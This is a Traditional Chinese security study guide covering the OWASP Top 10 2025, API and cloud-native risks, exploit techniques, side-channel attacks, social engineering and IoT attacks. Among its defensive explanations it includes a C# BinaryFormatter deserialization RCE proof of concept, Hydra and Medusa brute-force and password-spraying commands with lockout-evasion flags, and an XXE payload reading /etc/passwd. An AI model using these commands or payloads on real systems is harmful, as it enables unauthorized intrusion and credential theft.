OWASP（Open Web Application Security Project）Top 10 2025 對照表

OWASP Top 10:2025 是 Web 應用程式最常見資安風險的官方排行。

排名	類別	重點說明
A01	Broken Access Control（存取控制失效）	使用者能存取未授權的功能或資料（如手動改 URL 存取他人資料）。2025 將原 A10 SSRF 相關控制併入此類。
A02	Security Misconfiguration（安全設定錯誤）	從 2021 的 A05 升為第二。預設帳密未修改、不必要的功能/服務開啟、錯誤的權限設定等。
A03	Software Supply Chain Failures（軟體供應鏈失效）	2025 擴大改名，由 2021 的 A06 Vulnerable and Outdated Components 擴展而來。範疇涵蓋整條供應鏈：相依套件、CI/CD、套件來源信任、第三方服務。
A04	Cryptographic Failures（加密機制失效）	從 2021 的 A02 下降。涵蓋傳輸加密不足、弱雜湊、金鑰管理不當。
A05	Injection（注入攻擊）	從 2021 的 A03 下降。包含 SQL Injection、OS Command Injection、LDAP（Lightweight Directory Access Protocol，輕量級目錄存取協定）Injection 等。
A06	Insecure Design（不安全設計）	強調設計階段的架構缺陷，而非實作漏洞，代表安全需從 SDLC（Software Development Life Cycle，軟體開發生命週期）前期介入。
A07	Authentication Failures（身分驗證失效）	2021 原為「Identification and Authentication Failures」，2025 縮短為「Authentication Failures」。
A08	Software or Data Integrity Failures（軟體或資料完整性失效）	2021 原為「Software and Data Integrity Failures」，包含 CI/CD（Continuous Integration/Continuous Delivery，持續整合/持續交付）供應鏈攻擊、未驗證的更新機制（如插件自動更新時被劫持）。
A09	Security Logging and Alerting Failures（安全記錄與告警失效）	2021 原為「Logging and Monitoring」，2025 改為「Logging and Alerting」，強調主動告警而非被動監控。
A10	Mishandling of Exceptional Conditions（例外情境處理失當）	2025 新增。錯誤處理、邊界條件、非預期狀態處理不當，可能洩漏資訊或觸發未授權行為。

2025 版本主要變動（vs 2021）

• 新增：A10 Mishandling of Exceptional Conditions（例外情境處理失當）。
• 擴大改名：A06 Vulnerable and Outdated Components → A03 Software Supply Chain Failures，範疇從「使用過時元件」擴展為整條軟體供應鏈。
• 不再獨立列項：2021 的 A10 Server-Side Request Forgery（SSRF），相關控制併入 A01 Broken Access Control。
• 升降：Security Misconfiguration（A05→A02）、Cryptographic Failures（A02→A04）、Injection（A03→A05）。
• 微調：A07 移除「Identification and」、A09 將「Monitoring」改為「Alerting」、A08 將「and」改為「or」。

常見混淆：SQL Injection / Command Injection

比較面向	SQL Injection	Command Injection（OS Command Injection）
注入目標	SQL 資料庫查詢語句	作業系統 Shell 命令
攻擊向量	表單欄位、URL 參數、HTTP Header 中夾帶 SQL 片段	參數串接至 cmd.exe /c、/bin/sh -c 等 Shell 呼叫
危害	資料洩漏、資料竄改、繞過認證、甚至透過 xp_cmdshell 執行系統命令	直接以伺服器權限執行任意命令（RCE）
根因	字串拼接 SQL 而非使用參數化查詢	將使用者輸入直接傳入 Shell 執行
主要防禦	參數化查詢（Parameterized Query）、ORM、最小權限資料庫帳號	避免呼叫 Shell；必要時使用白名單驗證輸入、不拼接命令字串

• SQL Injection 的變體：Blind SQL Injection（無直接回顯，透過布林條件或時間延遲推斷資料）、Second-Order SQL Injection（惡意輸入先儲存再於後續查詢中觸發）。
• Command Injection 在 C# 中的高風險 API：Process.Start() 搭配 cmd /c 或 /bin/sh -c，且參數來自使用者輸入。

Supply Chain Attack（供應鏈攻擊）

對應 OWASP A03（Software Supply Chain Failures，2025 由 2021 A06 Vulnerable and Outdated Components 擴大改名而來）與 A08（Software or Data Integrity Failures）。攻擊者不直接攻擊目標，而是滲透其依賴的上游元件。

實際案例

案例	年份	手法	影響
SolarWinds（SUNBURST）	2020	攻擊者入侵 SolarWinds 的建置伺服器，在 Orion 軟體更新中植入後門	美國政府機關與數千企業受影響
Codecov	2021	Bash Uploader 腳本被竄改，竊取 CI/CD 環境中的環境變數與密鑰	使用 Codecov 的開源專案與企業 CI 環境
Log4Shell（CVE-2021-44228）	2021	Apache Log4j 2 的 JNDI Lookup 功能存在 RCE 漏洞	全球數億 Java 應用程式受影響
event-stream（npm）	2018	維護者轉移套件所有權後，新維護者注入竊取加密貨幣錢包的惡意程式碼	下載量達數百萬的 npm 套件
3CX	2023	供應鏈攻擊鏈：先入侵上游廠商 Trading Technologies，再透過其軟體感染 3CX 桌面應用程式	數十萬企業用戶

防範措施

• 使用 SCA（Software Composition Analysis）工具掃描相依套件漏洞（如 dotnet list package --vulnerable、Snyk、OWASP Dependency-Check）。

• CI/CD Pipeline 中加入套件完整性驗證（如 NuGet 的簽章驗證、npm 的 package-lock.json 雜湊比對）。

• 採用 SBOM（Software Bill of Materials） 追蹤所有相依元件版本。

• 建立內部套件鏡像倉庫（如 Artifactory、Azure Artifacts），避免直接從公開 Registry 拉取。

• 最小權限原則：CI/CD 環境的 Secret 僅授權給必要的 Pipeline 階段。

• SRI（Subresource Integrity，子資源完整性）：引用外部 CDN 的 JavaScript 函式庫或 CSS 時，在 <script> / <link> 標籤加入 integrity="sha384-..." 屬性（雜湊值由開發者預先計算並硬編碼）。瀏覽器下載後重新計算雜湊值，若與預期不吻合即拒絕執行，可阻擋遭竄改的 CDN 資源（如供應商被入侵或中間人植入挖礦腳本）被載入。

  <script src="https://cdn.example.com/jquery.min.js"
          integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
          crossorigin="anonymous"></script>

BOLA / IDOR（API 安全）

BOLA（Broken Object Level Authorization，物件層級存取控制失效） 是 OWASP API Security Top 10 的第一名，也是 OWASP Top 10 A01（Broken Access Control）在 API 場景的具體表現。

IDOR（Insecure Direct Object Reference，不安全的直接物件參考） 是 BOLA 最常見的形式：

• 範例：使用者以 GET /api/orders/1001 取得自己的訂單，將 1001 改為 1002 即可存取他人訂單。
• 根因：後端僅驗證使用者是否已登入，未驗證該使用者是否有權存取特定資源。

防禦措施：

• 後端對每個請求強制檢查「此使用者是否為該資源的擁有者」。
• 使用不可預測的資源識別碼（如 UUID）取代自增 ID（降低猜測可能，但非根本解法）。
• API Gateway 層實施存取控制政策。

API 安全（OWASP API Security Top 10）

OWASP API Security Top 10（2023 版）列出 API 最常見的安全風險：

排名	風險名稱	說明
API1	Broken Object Level Authorization（BOLA）	未驗證使用者是否有權存取特定物件（如修改 /api/users/123 的 ID 即可存取他人資料）
API2	Broken Authentication	認證機制缺陷（弱 Token、缺少 Rate Limiting、Token 未過期）
API3	Broken Object Property Level Authorization	回傳過多屬性或允許修改不該被修改的屬性（Mass Assignment）
API4	Unrestricted Resource Consumption	未限制 API 的請求頻率、回傳大小或批次數量，可被 DoS 攻擊利用
API5	Broken Function Level Authorization	未驗證使用者是否有權呼叫特定 API 端點（如一般使用者存取管理員 API）
API6	Unrestricted Access to Sensitive Business Flows	未對敏感業務流程（如大量購買、搶票）加上保護機制
API7	Server Side Request Forgery（SSRF）	API 接受 URL 參數後直接發出伺服器端請求，可被利用存取內部服務
API8	Security Misconfiguration	安全標頭缺失、錯誤訊息過度揭露、不必要的 HTTP 方法啟用
API9	Improper Inventory Management	未追蹤所有 API 版本與端點，舊版 API 未下架成為攻擊入口
API10	Unsafe Consumption of APIs	信任第三方 API 回傳的資料而未驗證，可能引入惡意內容

• BOLA（API1） 是 API 最常見的漏洞，本質是缺少物件層級的授權檢查。
• API Security 與 Web Application Security 的差異：API 通常無 UI，攻擊者直接操作 HTTP 請求，傳統 WAF 規則（針對 HTML/Form）可能無法有效防護。
• 防護建議：API Gateway 搭配 Rate Limiting、OAuth 2.0 + JWT、輸入驗證、最小回傳原則（只回傳必要欄位）。

GraphQL API 的特有安全議題

REST API 通常每個端點對應特定資源，攻擊者容易枚舉；GraphQL 只有單一端點，但內建 Introspection Query（內省查詢） 機制，預設允許查詢完整的 Schema 結構：

{ __schema { types { name fields { name } } } }

攻擊者在滲透測試的偵察階段，執行 Introspection Query 即可取得所有可用的查詢（Query）、變更（Mutation）、型別定義與欄位名稱，等同於自動產生 API 攻擊面清單，大幅縮短後續的 BOLA / 注入攻擊探索時間。

防禦：

• 正式環境關閉 Introspection（僅在開發環境啟用）。
• 即使關閉 Introspection，仍要實施欄位層級的存取控制，防止未授權存取敏感欄位。
• 啟用查詢複雜度限制（Query Depth Limiting / Cost Analysis），防止遞迴查詢導致 DoS。

OWASP Cloud-Native Application Security Top 10 對照表

OWASP Cloud-Native Application Security（CNAS）是 OWASP 針對雲原生應用（容器、Kubernetes、Serverless 與雲端服務）的安全專案。其官方 GitHub Repository 已於 2025 年封存，目前尚未看到正式定版。下表整理該專案歷次草案常被引用的十大風險，可作為雲原生安全的檢查清單。

排名	類別	重點說明
CNAS-1	Insecure Configuration（不安全的設定）	雲端、容器或編排設定錯誤，包含脆弱的 IaC（基礎設施即程式碼）與對外暴露的儲存空間。
CNAS-2	Injection Flaws（注入缺陷）	針對傳統應用、API 或雲端服務的惡意輸入。
CNAS-3	Improper Authentication & Authorization（不當的身分驗證與授權）	弱認證與過度寬鬆的 IAM 角色，使未授權者得以存取服務與 API。
CNAS-4	Supply Chain Vulnerabilities（供應鏈漏洞）	未受保護的 CI/CD 管線、被汙染的容器映像檔、不安全的 registry 通訊。
CNAS-5	Insecure Secrets Management（不安全的機密管理）	硬編碼或外洩的憑證、Token 與加密金鑰。
CNAS-6	Insecure Network Policies（不安全的網路政策）	網路分段不足，允許未授權的橫向移動。
CNAS-7	Vulnerable Components（易受攻擊的元件）	使用含已知 CVE 的過時函式庫與開源套件。
CNAS-8	Improper Asset Management（不當的資產管理）	未能追蹤短暫存在（Ephemeral）的雲端資源，形成 Shadow IT。
CNAS-9	Inadequate Resource Quotas（資源配額不足）	缺乏資源用量限制，造成 DoS 與雲端成本暴增的風險。
CNAS-10	Ineffective Logging & Monitoring（無效的日誌與監控）	缺乏即時可視性，妨礙事件偵測。

常見軟體漏洞利用手法對照表

手法	分類	原理	反制措施
緩衝區溢位（Buffer Overflow）	記憶體安全	寫入超過緩衝區邊界的資料，覆蓋相鄰記憶體（含返回位址），進而控制執行流程。	邊界檢查、Stack Canary、ASLR、DEP/NX。
釋放後使用（Use-After-Free，UAF）	記憶體安全	記憶體釋放後指標未清空，攻擊者分配新物件佔用相同位址，透過舊指標操控新物件。	釋放後將指標設為 null、使用智慧指標（Smart Pointer）、記憶體安全語言（如 Rust）。
堆積噴射（Heap Spray）	記憶體安全	在堆積（Heap）大量填入惡意 Shellcode（殼層碼，攻擊者的惡意機械碼）與 NOP Sled（NOP 滑行區，連續無操作指令，引導執行流滑入 Shellcode），提高跳轉至惡意程式碼的機率，常與 UAF 或溢位組合使用。	ASLR、限制堆積記憶體分配上限、記憶體隔離。
整數溢位（Integer Overflow）	記憶體安全	整數運算超出型別範圍後環繞（Wraparound），導致長度計算錯誤，進而引發緩衝區溢位或邏輯繞過。	使用安全整數函式庫、明確型別轉換前檢查範圍；C# 預設為 unchecked（靜默環繞），可改用 checked 區塊或 /checked 編譯選項使溢位拋出 OverflowException。
格式字串攻擊（Format String Attack）	注入	將使用者輸入直接傳入 printf() 等格式化函式（如 printf(user_input)），攻擊者可讀取堆疊（Stack）記憶體或用 %n 寫入任意位址。	絕不將外部輸入作為格式字串，固定使用 printf("%s", user_input)；啟用編譯器警告。
XML 外部實體注入（XML External Entity，XXE）	注入	XML 解析器處理外部實體宣告（<!ENTITY xxe SYSTEM "file:///etc/passwd">），讀取本機檔案或發起 SSRF 請求。	停用外部實體解析（FEATURE_EXTERNAL_GENERAL_ENTITIES = false）、使用不支援 DTD 的解析器。
伺服端模板注入（Server-Side Template Injection，SSTI）	注入	使用者輸入嵌入模板引擎（如 Jinja2、Thymeleaf）直接渲染，觸發模板語法執行任意程式碼（RCE，Remote Code Execution，遠端程式碼執行）。	輸入不得直接拼入模板字串；模板引擎沙箱化；區分資料與模板上下文。
不安全反序列化（Insecure Deserialization）	注入	反序列化不受信任的資料時，攻擊者可操控物件圖（Object Graph）觸發特定建構子或回呼（如 PHP 的 __wakeup、C# 的 IDeserializationCallback），導致 RCE 或提權。C# 的 BinaryFormatter 是典型高風險 API（.NET 5 標記棄用，.NET 9 移除）。	不反序列化不受信任來源的資料；C# 改用 System.Text.Json 或有型別白名單的 XmlSerializer；簽章驗證序列化資料。
競爭條件 / 先檢查後使用（Race Condition / TOCTOU，Time-of-Check to Time-of-Use，先檢查後使用）	邏輯與競爭	在「檢查」與「使用」之間存在時間差，攻擊者於此期間替換資源（如檔案、符號連結），使檢查結果失效。	使用原子操作（Atomic Operation）；取得資源後立即鎖定（File Locking）；避免依賴可被外部修改的中間狀態。
原型鏈污染（Prototype Pollution）	邏輯與競爭	JavaScript 中透過操控 __proto__ 或 constructor.prototype，污染所有物件共用的原型，進而注入惡意屬性影響全域行為。	以 Object.create(null) 建立無原型物件；凍結原型（Object.freeze(Object.prototype)）；輸入鍵值黑名單過濾（__proto__、constructor）。
旁路攻擊（Side-channel Attack）	觀察推算	不直接攻擊演算法，而是量測系統執行時的物理特徵（時序、功耗、電磁輻射、快取命中率），從中還原機密資料。典型案例：Spectre / Meltdown 利用 CPU 推測執行（Speculative Execution）的快取時序差異，讀取跨程序記憶體。	常數時間演算法、Retpoline/IBRS、KPTI。
零時差漏洞（Zero-day Exploit）	其他	利用尚未公開或廠商尚未修補的未知漏洞，因無可用補丁，防禦端無法依賴特徵碼偵測。	縱深防禦（Defense in Depth）；行為式偵測（EDR / XDR）；最小權限原則；網路分段限制橫向移動。
無檔案惡意軟體（Fileless Malware）	其他	惡意程式不落地（不寫入磁碟），直接在記憶體中執行（如透過 PowerShell、WMI、Living-off-the-Land Binaries，就地取材工具）。傳統防毒依賴檔案掃描，因此難以偵測。	AMSI（Antimalware Scan Interface）：腳本引擎（PowerShell、VBScript、WMI）執行前將內容傳遞給防毒引擎，攔截記憶體中解密後的明文腳本，是針對 LOLBins 最有效的系統層級防禦；Script Block Logging；行為式 EDR；限制 PowerShell 執行原則。
返回導向程式設計（Return-Oriented Programming，ROP）	記憶體安全	因 DEP/NX 阻止執行 Shellcode，攻擊者改為串連程式原有的 Gadget（指令片段，以 ret 結尾的短程式碼序列），組合出任意邏輯，繞過不可執行限制。	CFI、Shadow Stack、ASLR 使 Gadget 位址難以預測且控制流無法被劫持。
DLL Side-Loading	供應鏈/載入劫持	利用 Windows DLL 搜尋順序，將同名惡意 DLL 放在合法程式的目錄中，使程式啟動時優先載入惡意版本。常搭配合法且有數位簽章的程式（如防毒軟體）來規避偵測。	啟用 SafeDllSearchMode（預設）；程式碼中使用絕對路徑載入 DLL；驗證 DLL 數位簽章；應用程式白名單控管。

Buffer Overflow：Stack 記憶體佈局

函式呼叫時，堆疊（Stack）由高位址往低位址成長。含 Stack Canary 防禦的完整佈局如下：

高位址
┌──────────────────────────────────┐
│  返回位址（Return Address）        │  ← 攻擊目標：覆蓋後控制執行流
├──────────────────────────────────┤
│  Saved EBP（呼叫者基底指標）        │  ← 被順帶覆蓋
├──────────────────────────────────┤
│  ★ Stack Canary（金絲雀值）       │  ← 防禦：隨機值，返回前驗證
├──────────────────────────────────┤
│  區域變數 / 緩衝區                 │  ← 寫入起點，溢位方向 ↑
└──────────────────────────────────┘
低位址（Stack 向下成長）

溢位後的狀態：

高位址
┌──────────────────────────────────┐
│  0xdeadbeef（攻擊者控制）          │  ← 返回位址已被篡改！
├──────────────────────────────────┤
│  AAAAAAAA                        │  ← Saved EBP 已損壞
├──────────────────────────────────┤
│  AAAAAAAA                        │  ← ★ Canary 被覆蓋 → 偵測到異常！
├──────────────────────────────────┤
│  AAAA...（超長輸入）               │  ← 緩衝區 + 溢出
└──────────────────────────────────┘
低位址

正常 vs 溢位對照

Stack 位置（高 → 低）	正常狀態	溢位後
返回位址	0x00401234（合法位址）	0xdeadbeef（攻擊者控制）
Saved EBP	呼叫者基底指標	AAAAAAAA（已損壞）
Stack Canary	0x7f3a9c01（隨機值）	AAAAAAAA（已被覆蓋 → 偵測到！）
緩衝區（16 bytes）	正常資料	AAAA...（超長輸入）

函式 ret 指令執行前，程式會先驗證 Canary 是否完整。若被覆蓋 → 立即終止程序（__stack_chk_fail），阻止攻擊者控制返回位址。

C# 的情況

CLR 管理的 C# 程式碼有自動邊界檢查，無法發生傳統 Buffer Overflow。但使用 unsafe 區塊操作原始指標時，邊界檢查會被繞過：

unsafe void Vulnerable(string input) {
    byte* buffer = stackalloc byte[16];
    fixed (char* p = input) {
        for (int i = 0; i < input.Length; i++)
            buffer[i] = (byte)p[i]; // input 超過 16 字元時覆蓋 Stack！
    }
}

避免使用 unsafe；需要高效能緩衝區操作時，改用 Span<T> 或 Memory<T>（仍有邊界檢查）。

TOCTOU：檢查與使用之間的時間差

問題根因：檢查（①）與使用（③）不是原子操作，中間有可被利用的時間視窗。

C# 範例

// 有漏洞：File.Exists 與 File.WriteAllText 之間有時間差
if (File.Exists(path)) {
    // 攻擊者可能在這裡替換 path 指向的符號連結
    File.WriteAllText(path, data);
}

// 較安全：FileMode.CreateNew 在核心層原子判斷「不存在才建立」
// 若已存在（含符號連結目標）則拋出 IOException
using FileStream fs = new(path, FileMode.CreateNew, FileAccess.Write);
using StreamWriter writer = new(fs);
writer.Write(data);

補充：在 Unix 環境下還需搭配 O_NOFOLLOW 旗標（C# 透過 P/Invoke 呼叫）以拒絕跟隨符號連結；Windows 符號連結需要管理員權限，風險相對較低。

旁路攻擊：為什麼「觀察」就能攻擊？

核心前提：演算法處理不同資料時，執行行為會有細微差異，這些差異會洩漏在可量測的物理特徵上。

例 1 — 時序攻擊（Timing Attack）：字元比對

常見的錯誤密碼比對寫法（C#）：

// 有漏洞：提早 return 會洩漏時序資訊
bool ComparePassword(byte[] stored, byte[] input) {
    if (stored.Length != input.Length) {
        return false;
    }
    for (int i = 0; i < stored.Length; i++) {
        if (stored[i] != input[i]) {
            return false; // 遇到第一個不符就提早返回
        }
    }
    return true;
}

• 輸入 "bXXX" vs 正確密碼 "abcd"：第 1 個字元就不符，立刻返回 → 耗時最短。
• 輸入 "aXXX"：第 1 個字元符合，繼續比對第 2 個才返回 → 耗時略長。

攻擊者可以逐字元暴力測試：哪個輸入耗時最長，代表該字元猜對了。不需要一次猜全部。

為什麼網路延遲擋不住攻擊：大數法則（Law of Large Numbers）

網路延遲是隨機雜訊（常態分布，上下隨機波動）；CPU 執行時間差是固定偏差（有「比較相符幾個 byte」這個固定因素）。攻擊者對同一目標重複發送 10,000 至 100,000 次請求並取平均值，樣本數夠大時隨機延遲互相抵消，底層固定的時間差就從雜訊中浮現。即使透過公網也具可行性，需要的只是足夠的樣本數。

正確做法是使用常數時間比對，.NET 內建 CryptographicOperations.FixedTimeEquals（.NET Core 2.1+）：

using System.Security.Cryptography;

bool ComparePasswordSafe(byte[] stored, byte[] input) {
    // 無論幾個字元相符，耗時固定，不洩漏資訊
    return CryptographicOperations.FixedTimeEquals(stored, input);
}

例 2 — 快取時序攻擊（Cache Timing Attack）：Spectre

CPU 為提升效能，會在條件判斷結果出來前就「推測執行（Speculative Execution）」後續指令：

// 即使 x 超出邊界，CPU 仍可能推測執行以下程式碼：
if (x < array.length) {
    y = secret_array[x];           // ① 讀取機密資料到 y
    temp = probe_array[y * 4096];  // ② 根據 y 的值存取不同快取行
}
// 推測錯誤 → 結果被丟棄，但快取狀態保留！

攻擊者接著對 probe_array 的每個位置計時：

• 存取快（Cache Hit）→ 那個 cache line 被 ② 存取過 → 可推算出 y 的值 → 可還原 secret_array[x]。

這樣就能讀取「程式理論上無權存取」的跨程序記憶體（包含 OS Kernel 資料）。

例 3 — 雲端同機共駐攻擊（Cloud Co-residency Attack）

雲端供應商（AWS、GCP、Azure）的「資源共享池」本質，讓多個租戶共用同一台實體主機（Physical Server）。攻擊者只需花幾元美金開一台 VM，就有機率與目標伺服器被排程到同一台實體機上，從而共享 L3 Cache 與記憶體匯流排。

此時攻擊者在本機端執行快取時序攻擊，完全繞過網路延遲的雜訊問題，可以奈秒精準度觀察目標的快取存取模式，推算金鑰或機密資料。Spectre 與 Meltdown 的危害在雲端環境特別嚴重，正是因為「共享硬體 + 推測執行」的組合提供了理想的攻擊條件。

反制原理

防禦手段	針對的洩漏管道	說明
常數時間演算法（Constant-time）	時序差異	讓所有輸入的運算耗時完全相同，從根本消除計時訊號。密碼學操作的首選方案（如 CryptographicOperations.FixedTimeEquals）。
隨機延遲（Jitter / Timing Noise）	時序差異	在密碼操作前後加入隨機等待時間，讓攻擊者的統計平均需要更多樣本才能分離訊號。屬於次要防禦層，無法取代常數時間演算法，但可提高攻擊成本；對本地旁路攻擊（奈秒級）效果有限。
Retpoline / IBRS	Spectre 的分支推測執行	—
KPTI（Kernel Page-Table Isolation）	Meltdown 的 Kernel 快取洩漏	—

BinaryFormatter 反序列化 RCE 範例（C#）

BinaryFormatter 反序列化時會重建完整物件圖，並觸發 IDeserializationCallback.OnDeserialization() 等回呼。以下為簡化示意；實際利用工具（如 ysoserial.net）會改用 .NET Framework 內建類別串出 Gadget Chain，伺服器端完全不需要存在任何自訂類別。

using System.Diagnostics;
using System.Runtime.Serialization;
using System.Runtime.Serialization.Formatters.Binary;

// 攻擊端：建立惡意物件並序列化成 bytes
BinaryFormatter formatter = new();
using MemoryStream ms = new();
formatter.Serialize(ms, new Payload());
byte[] maliciousBytes = ms.ToArray(); // 將這串 bytes 傳給受害端

// 受害端：對外部輸入直接呼叫 Deserialize（危險！）
ms.Position = 0;
formatter.Deserialize(ms); // 觸發 OnDeserialization

[Serializable]
class Payload : IDeserializationCallback {
    public void OnDeserialization(object? sender) =>
        Process.Start("calc.exe"); // 反序列化完成後自動執行
}

Web Forms 時期的攻擊路徑：ViewState 序列化後傳至 Client 端。若 MAC 驗證關閉，或 MachineKey 外洩，攻擊者可提交惡意 ViewState → 伺服器反序列化 → 觸發 Gadget Chain。

常見手法釐清

• 旁路攻擊：不攻擊演算法本身，而是觀察執行時的時序、功耗、快取等物理特徵。Spectre/Meltdown 是 CPU 推測執行的快取時序洩漏。
• Zero-day vs Fileless：Zero-day 是「漏洞未公開」；Fileless 是「攻擊不落地磁碟」，兩者可同時存在。
• 通用防禦技術（ASLR、DEP/NX、Stack Canary、CFI 等）的原理與適用攻擊手法，詳見常見資安防禦技術對照表。

社交工程與身分冒用攻擊

社交工程攻擊類型對照表

類型	中文名稱	目標範圍	手法特徵
Phishing	網路釣魚	大量不特定使用者	大量發送假冒知名機構（銀行、Google）的釣魚信件或頁面。
Spear Phishing	魚叉式釣魚	特定個人或組織	預先蒐集目標資料，製作高度個人化的假信件，難以識別。
Whaling	鯨魚攻擊	高階主管（CEO/CFO）	Spear Phishing 的子集，目標是能授權大額轉帳或揭露機密的人。
Vishing	語音釣魚	電話使用者	假冒客服、政府機關，以電話要求提供帳號或驗證碼。
Smishing	簡訊釣魚	手機使用者	透過簡訊傳送惡意連結，常偽裝成包裹通知或中獎通知。
Pretexting	藉口攻擊	特定目標	捏造合理情境（如自稱 IT 人員要遠端協助），誘騙目標配合提供資訊或執行操作。
Baiting	誘餌攻擊	不特定目標	利用人的好奇心，在公共場所遺留已植入惡意程式的 USB 隨身碟。

社交工程分類邏輯

• 廣度遞減：Phishing → Spear Phishing → Whaling（目標越縮越小，精準度越高）。
• 媒介區分：
  • 信件 = Phishing / Spear Phishing / Whaling
  • 電話 = Vishing
  • 簡訊 = Smishing
  • 實體誘餌 = Baiting

密碼攻擊類型對照表

攻擊類型	英文	手法描述	速度 vs 隱匿性
暴力破解	Brute Force	對單一帳號嘗試所有可能的密碼組合（如 a, b, ..., aa, ab, ...）	最慢、最容易觸發帳號鎖定
字典攻擊	Dictionary Attack	使用預先整理的常見密碼清單（如 rockyou.txt）逐一嘗試	比暴力破解快，但受限於字典品質
撞庫攻擊	Credential Stuffing	利用已洩漏的帳號密碼對（來自其他網站的資料外洩），大量嘗試登入目標網站	利用使用者跨站密碼重用的習慣，成功率約 0.1%–2%
密碼噴灑	Password Spraying	對大量帳號嘗試少數幾個常見密碼（如 P@ssw0rd、Company2024!）	每個帳號只試 1–2 次，刻意避開帳號鎖定閾值
彩虹表攻擊	Rainbow Table Attack	預先計算大量密碼的雜湊值建成查詢表，比對目標雜湊以反查原文	空間換時間，加鹽（Salt）可使彩虹表失效

Credential Stuffing vs Password Spraying vs Brute Force

• Brute Force：一個帳號 × 所有密碼 → 容易觸發鎖定。
• Password Spraying：所有帳號 × 少數密碼 → 低頻試探，規避鎖定。
• Credential Stuffing：已知帳密對 × 多個網站 → 利用密碼重用。
• 防禦共通點：MFA（多因素認證）、異常登入偵測、限速（Rate Limiting）。
• 防禦差異：Brute Force 用帳號鎖定即可；Password Spraying 需全域登入失敗趨勢分析；Credential Stuffing 需偵測大量不同來源 IP 的低頻嘗試。

Hydra / Medusa 暴力破解指令範例

Hydra 與 Medusa 是開源的網路登入暴力破解工具，支援多種協定。

Hydra 範例

# SSH 暴力破解（單一使用者 + 密碼字典）
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.100

# HTTP POST 表單暴力破解
# /login 為登入路徑，user=^USER^&pass=^PASS^ 為表單參數，"Invalid" 為失敗回應關鍵字
hydra -l admin -P passwords.txt 192.168.1.100 http-post-form \
  "/login:user=^USER^&pass=^PASS^:Invalid"

# Password Spraying（多使用者 + 少數密碼）
hydra -L users.txt -p 'Company2024!' ssh://192.168.1.100

# FTP 暴力破解（使用者清單 + 密碼清單）
hydra -L users.txt -P passwords.txt ftp://192.168.1.100

# 限制併發數與等待時間（避免觸發鎖定或被偵測）
hydra -l admin -P passwords.txt -t 4 -W 3 ssh://192.168.1.100

Medusa 範例

# SSH 暴力破解（語法與 Hydra 類似）
medusa -h 192.168.1.100 -u admin -P passwords.txt -M ssh

# 多主機批次測試
medusa -H hosts.txt -U users.txt -P passwords.txt -M ssh

• -l/-u：單一使用者名稱；-L/-U：使用者名稱清單檔案。
• -p/-P：單一密碼 / 密碼清單檔案。
• -t：Hydra 併發執行緒數（預設 16）；-W：每次嘗試間等待秒數。
• 僅限於已授權的滲透測試環境使用。

水坑攻擊（Watering Hole Attack）

攻擊者不直接攻擊目標，而是預先入侵目標經常瀏覽的網站，在該網站植入惡意程式碼（如瀏覽器漏洞利用），等待目標主動上門。

• 名稱由來：源自獅子在水坑旁守候獵物的概念。
• 特徵：屬於間接攻擊，結合 Reconnaissance（偵察目標常用網站）與 Exploitation（利用瀏覽器/插件漏洞）。
• 典型場景：攻擊者入侵產業論壇或供應商網站，植入 JavaScript 漏洞利用程式碼，鎖定特定產業的訪客。
• 與 Drive-by Download 的關係：水坑攻擊的技術手段通常就是 Drive-by Download。

偷渡式下載（Drive-by Download）

使用者僅是瀏覽網頁（不需要點擊或下載任何東西），瀏覽器或其插件的漏洞就被自動利用，惡意程式在背景靜默安裝。

• 不需使用者互動：與釣魚攻擊不同，使用者不需要點擊任何連結或確認對話框。
• 常見漏洞利用目標：瀏覽器本身、Flash Player（已淘汰）、Java Applet（已淘汰）、PDF Reader 插件。
• 防禦：保持瀏覽器與插件更新、移除不必要的插件、啟用瀏覽器沙箱機制、部署 Web 閘道過濾。

域名仿冒（Typosquatting）

註冊與知名網域拼寫相近的網域名稱，利用使用者的打字錯誤將流量導向惡意網站。

仿冒手法	範例（目標：example.com）
少打一個字元	examle.com
多打一個字元	examplle.com
相鄰鍵替換	ezample.com（z 與 x 相鄰）
同音/視覺混淆	examp1e.com（數字 1 取代字母 l）
TLD 替換	example.org、example.co

• 套件仿冒（Package Typosquatting）：在 npm、PyPI 等套件管理平台上傳與知名套件名稱相近的惡意套件（如 coIors 仿冒 colors），屬於供應鏈攻擊的一種。
• 防禦：DNS 監控、註冊常見拼寫錯誤網域作為保護、使用瀏覽器書籤存取重要網站、套件管理啟用 lock 檔案與雜湊驗證。

商業電子郵件詐騙（BEC，Business Email Compromise）

攻擊者透過入侵或仿冒企業高層/合作夥伴的電子郵件帳號，誘騙員工執行匯款、洩漏機密資料或變更付款資訊。

• 與 Whaling 的差異：Whaling 是「釣」高階主管；BEC 是「冒充」高階主管發信給下屬。
• 常見手法：
  • CEO 詐騙：冒充 CEO 發信給財務部門要求緊急匯款。
  • 供應商發票詐騙：冒充供應商通知變更匯款帳戶。
  • 帳號入侵：直接入侵員工信箱，從真實帳號發送詐騙郵件（更難識別）。
• 防禦：大額匯款需電話或當面二次確認、啟用電子郵件驗證機制（SPF、DKIM、DMARC）、員工資安意識訓練。

IoT 與嵌入式系統攻擊

IoT 攻擊類型對照表

中文名稱	英文名稱	核心行為	特徵與辨識重點
黑洞攻擊	Black Hole Attack	惡意節點宣稱自己是最佳路由，卻將所有路過的封包全部丟棄	流量進入後消失，無回應，像「黑洞」吞噬封包
蟲洞攻擊	Wormhole Attack	兩個惡意節點在網路中建立隱密隧道，使遠端節點誤以為彼此是鄰居	扭曲路由拓撲，干擾路由協定，難以偵測
污水坑攻擊	Sinkhole Attack	惡意節點廣播虛假的「最佳路由」，吸引大量流量流向自己後再選擇丟棄或竄改	類似 Black Hole，但先「吸引」再決定如何處置，影響範圍更廣
邪惡雙胞胎	Evil Twin Attack	建立與合法 AP（Access Point，無線基地台）相同 SSID（Service Set Identifier，服務集識別碼）的假熱點，誘騙裝置連接	屬於無線網路與 IoT 裝置常見攻擊，可進行中間人攻擊或憑證竊取

路由攻擊比較

• Black Hole = 吸走封包後直接丟棄，最單純。
• Sinkhole = 吸走封包後可選擇性處理，攻擊者的控制力更強。
• Wormhole = 不丟封包，而是扭曲路由拓撲，讓兩個遠端惡意節點看起來像鄰居，更隱蔽。

Zigbee / IoT 協定安全

協定	主要應用	已知風險
Zigbee	智慧家居感測器、燈控、工業感測	裝置初始加入網路時，金鑰以明文在空中傳輸，可被擷取；許多廠商出廠預設使用業界已知的共用金鑰，等同公開
